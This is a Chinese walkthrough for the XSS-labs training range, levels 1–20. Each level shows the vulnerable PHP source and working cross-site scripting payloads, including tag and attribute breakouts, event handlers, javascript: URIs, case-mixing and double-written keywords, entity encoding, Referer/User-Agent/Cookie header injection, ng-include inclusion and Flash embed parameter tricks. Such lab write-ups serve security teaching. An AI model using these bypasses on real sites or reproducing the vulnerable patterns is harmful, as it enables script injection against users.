目录
- XSSlabs1-20关通关手册
- 第一关level-1(无任何过滤)
- 第二关level-2(闭合标签)
- 第三关level-3(单引号闭合+js事件函数绕过)
- 第四关level-4(双引号闭合+js事件函数绕过)
- 第五关level-5(js伪协议)
- 第六关level-6(大小写混合绕过)
- 第七关level-7(双写绕过)
- 第八关level-8(编码绕过)
- 第九关level-9(检测关键字进行替换)
- 第十关level-10(隐藏信息,隐藏type)
- 第十一关level-11(referer)
- 第十二关level-12(UA头部 user-agent字段)
- 第十三关level-13(cookie)
- 第十四关level-14
- 第十五关level-15(ng-include包含)
- 第十六关level-16(空格实体转义)
- 第十七关level-17(参数拼接)
- 第十八关level-18(参数拼接)
- 第十九关level-19(Flash XSS)
- 第二十关level-20(Flash XSS)
XSSlabs1-20关通关手册
第一关level-1(无任何过滤)
进入靶场第一关,查看页面给我们反馈的信息内容
查看网页源码:
关卡源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
观察发现没有任何的过滤:
直接插入js代码
payload:
name=<script>alert('XSS')</script>
第二关level-2(闭合标签)
使用我们之前插入js代码也就是使用上一关的js代码进行测试,看是否弹窗,发现没有弹窗
检测页面元素:
代码确实已经写入,但是没有被执行
查看页面源码:
发现<
和>
被HTML实体编码了,成了实体字符。但是我们发现获取到的属性值是没有经过转码的,我们要想办法在属性被获取到的时候绕过过滤函数。
我们构造语句,闭合input标签,再进行攻击。
payload:
keyword="><script>alert("XSS")</script>
第三关level-3(单引号闭合+js事件函数绕过)
将我们在上一关的js代码插入进来,发现还是没有被执行,查看源码发现依旧是被HTML实体编码。
插入js代码:
查看网页源码:
构建代码如下:
可以通过js事件来进行绕过
JavaScript 事件
payload:
' οnfοcus=javascript:alert('xss') >
' οnfοcus=javascript:alert('xss')//
' οnclick=javascript:alert('xss')//
......
第四关level-4(双引号闭合+js事件函数绕过)
尝试使用上一关的代码:
插入后:
发现本关卡为双引号闭合,将单引号改为双引号
payload:
" onclick=javascript:alert('xss')//
第五关level-5(js伪协议)
将上面的代码,插入到第五关当中,发现代码依旧没有被执行,查看源码:
发现onclick被添加了下划线
查看部分关键的关卡源码:
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
发现script和on都被替换, 这一关我们利用<a>
标签绕过进行绕过。
payload:
"> <a href=javascript:alert('xss')>xss</a>//
点击后:
第六关level-6(大小写混合绕过)
同样的方法,继续输入我们尝试过的js代码,输入上一关的代码:
没有反应
查看网页源码
这一关我们发现,在前几关的基础上连href也被过滤了
分析发现页面的大小写没有进行过滤,所以我们可以使用大小写进行绕过。成功过关。
payload:
"> <a Href=javascript:alert('xss')>xss</a>//
"> <ScripT>alert('1')</ScRipT>
......
点击后:
"> <ScripT>alert('1')</ScRipT>
第七关level-7(双写绕过)
同样的方法,还是插入我们测试过的js代码,继续使用上一关的js代码
插入后发现,还是未果
查看页面源码发现,href被替换成空,所以我们可以想到,使用双写进行绕过
观察关卡部分源码:
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
发现很多关键字被替换成空,所以我们可以双写进行绕过
payload:
"> <a hrehreff=javascrscriptipt:alert('xss')>xss</a>//
"><sscriptcript>alert('xss')</sscriptcript>
......
点击后:
第八关level-8(编码绕过)
经过测试第八关发现,以上代码均无法进行执行
查看页面源码:
HTML实体编码
查看关卡部分源码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
源码当中过滤了大量的关键字信息,这一关采取大小写和双写都无法绕过
使用编码绕过概念,就是将所有字符编码为HTML实体,进行绕过,将 javascript:alert(‘xss’) 转化为实体字符
payload:
 javascript:alert('xss')
HTML字符实体转换
点击友情链接,过关
第九关level-9(检测关键字进行替换)
继续尝试插入我们上一关的代码,插入后没有反应
查看源码:
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
查看源码后发现不仅进行了一系列关键字的过滤,还添加了strpos函数进行验证。这个函数是用来查找指定文本在字符串中第一次出现的位置,这时候我们就不得不在代码里加入http://
,但是并没有过滤HTML实体编码,所以我们还是使用编码绕过。
这一关对输入内容进行了检测,内容必须要有http://,因此我们在payload后面加上http://并用注释符注释掉即可
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
注释:strpos() 函数对大小写敏感。
注释:该函数是二进制安全的。
payload:
 javascript:alert('xss')//http://
第十关level-10(隐藏信息,隐藏type)
这一关将之前的方法全部尝试 发现没有用 查看表单元素 发现有三个被隐藏的表单
可以尝试构造文本框来攻击 随机将三个输入框的其中一个type属性值更改为text 然后增加οnclick=javascript:alert(1) 属性
payload:
?keyword=1&t_sort=" οnclick=javascript:alert(1) type="text"
<form id="search">
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" onclick="javascript:alert(1)" type="text" "="">
</form>
点击输入框即可
第十一关level-11(referer)
还使用我们上一关的代码进行测试,发现未果
检测页面元素,查看代码
表单中t_ref看起来像是接受referer来源,对访问数据包添加referer发现能够接受数据,尝试进行注入
后台代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
源码发现有一个$str11=$_SERVER['HTTP_REFERER'];
字段,并且只对其进行双引号过滤,而HTTP_REFERER是获取http请求头中的Referer字段,就是我们上一级网页的url,那么我们就需要使用到抓包工具进行抓包,修改Referer字段。
使用burp或者hackbar进行注入:
payload:
Referer: " οnclick=javascript:alert(1) type="text"
放包过后,会多出输入框,点击输入框
使用hackbar:
执行后点击输入框,成功弹窗
第十二关level-12(UA头部 user-agent字段)
这一题和上一题一样的手法,只是字段改变了是在http请求头中的user-agent字段上。在网页代码当中发现UA头部信息,本关卡为UA头部注入恶意代码,将js代码插入到UA头部当中,使用burp或者hackbar工具进行
后台代码:
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
使用hackbar,勾选UA
payload:
" οnclick=javascript:alert(1) type="text"
出现输入框,点击即可
第十三关level-13(cookie)
进入关卡
后台源码:
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
通过观察源码发现,本题为http请求当中的cookie字段
这一题和上两题一样的手法相似,改变的是在http请求头中的Cookie字段上。
使用burp抓包或者hackbar工具进行修改cookie信息:
修改后放包即可,出现输入框,点击即可
若使用hackbar,勾选cookie
payload:
user=" οnclick=javascript:alert(1) type="text"
点击输入框即可:
第十四关level-14
自动跳转到那个网址,但是失效了
level-14参考文章
第十五关level-15(ng-include包含)
靶场界面
后台源码:
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
观察源码发现短短的几行,实体转义了src的值
使用了ng-include这个表达式的意思是当HTML代码过于复杂时,可以将部分代码打包成独立文件,在使用ng-include来引用这个独立的HTML文件。
ng-include指令一般用于包含外部HTML文件,ng-include属性的值可以是一个表达式,返回一个文件名,但是默认情况下,包含的文件需要包含在同一域名下,也就是要调用同一域名下的其他网页。因为默认情况下,包含的文件需要包含在同一个域名下。很有可能这个指令就是突破口,我们看看源代码,果然有ng-include,并且对其输入做了过滤,所以我们可以包含一个有漏洞的页面
定义和用法
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include
属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。
引用文件名要加单引号 即
ng-include=" 'index.html' "
构造payload发现,尖括号被实体转义
所以可构造以下payload
去包含其他关卡的漏洞:
/level15.php?src=' http://192.168.100.152:88/level1.php?name="><a href="javascript:alert(/xss/)">xss '
包含其他关卡也可以
比如包含第四关:
payload:
level15.php?src='http://192.168.100.152:88/level4.php?keyword=" οnclick=javascript:alert(1)//'
第十六关level-16(空格实体转义)
关卡界面:
后台源码:
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
通过源码发现,过滤了script,/,空格等(替换空格,script,/,再次替换空格)在html中是可以将%0a和%0d作为空格使用的
因为尖括号没被过滤掉,所以我们就用<a>
标签,因此我们构造语句
可对script进行个拆分
payload:
/level16.php?keyword=<a%0dhref='javas%0acript:alert(1)'>xss
或者使用<img>
标签也可以绕过
payload:
/level16.php?keyword=<img%0dsrc=1%0donerror=alert(1)>
或
keyword=<img%0asrc=1%0donerror=alert(1)>
第十七关level-17(参数拼接)
进入关卡
查看关卡源码:
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
通过代码发现,本关卡有两个参数:arg01、arg02,当我们发送的时候,发现他们是会互相拼接起来的,那么我们就容易想到这里会不会就是突破口,发现这两个参数是在embed上,embed标签定义嵌入的内容,并且做了尖括号过滤,那么我们可以加入一个属性进去,生成恶意代码。(发现其两个变量使用=
符号拼接的形式被加入到<embed>
标签中,该标签用于一些插件如flash等的插入,那这就是一个突破口)
HTML中的embed标签使用
输入点在url中,过滤了尖括号和双引号,用on事件触发。
常规加尖括号的语句会被转为html实体字符,那就只有用事件触发来写,而且事件触发刚好是用等号来连接。
使用on事件,但是没有反应,后来发现是浏览器中不支持flash
payload:
/level17.php?arg01=a&arg02=b onmouseover=javascript:alert(1)
或
/level17.php?arg01=a&arg02=b 666 onmouseover=javascript:alert(1)
onmouseover(鼠标移动到上方触发)触发器来进行恶意语句利用
火狐不支持flash(火狐浏览器中,发现该组件根本不显示,完全不给我们事件触发的机会,无法利用了),尝试没有反应,切换浏览器,在edge上试一下
出现弹窗
第十八关level-18(参数拼接)
由于浏览器的差异,所以我们继续使用edge浏览器,页面如下
后台源码:
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>
通过代码发现,和上一关基本差不多,我们继续使用上一关的代码进行测试,看是否弹窗
payload:
/level18.php?arg01=a&arg02=b onmouseover=alert(1)
或
/level18.php?arg01=a&arg02=b 8888 onmouseover=alert(1)
第十九关level-19(Flash XSS)
后台源码:
<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>
此题跟flash xss有关
payload:
?arg01=version&arg02=<a href='javascript:alert(/xss/)'>xss</a>
第二十关level-20(Flash XSS)
后台源码:
<title>欢迎来到level20</title>
</head>
<body>
<h1 align=center>欢迎来到level20</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>
观察源码发现,和上面19关差不多,就是插件不同。
payload:
?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//&width&height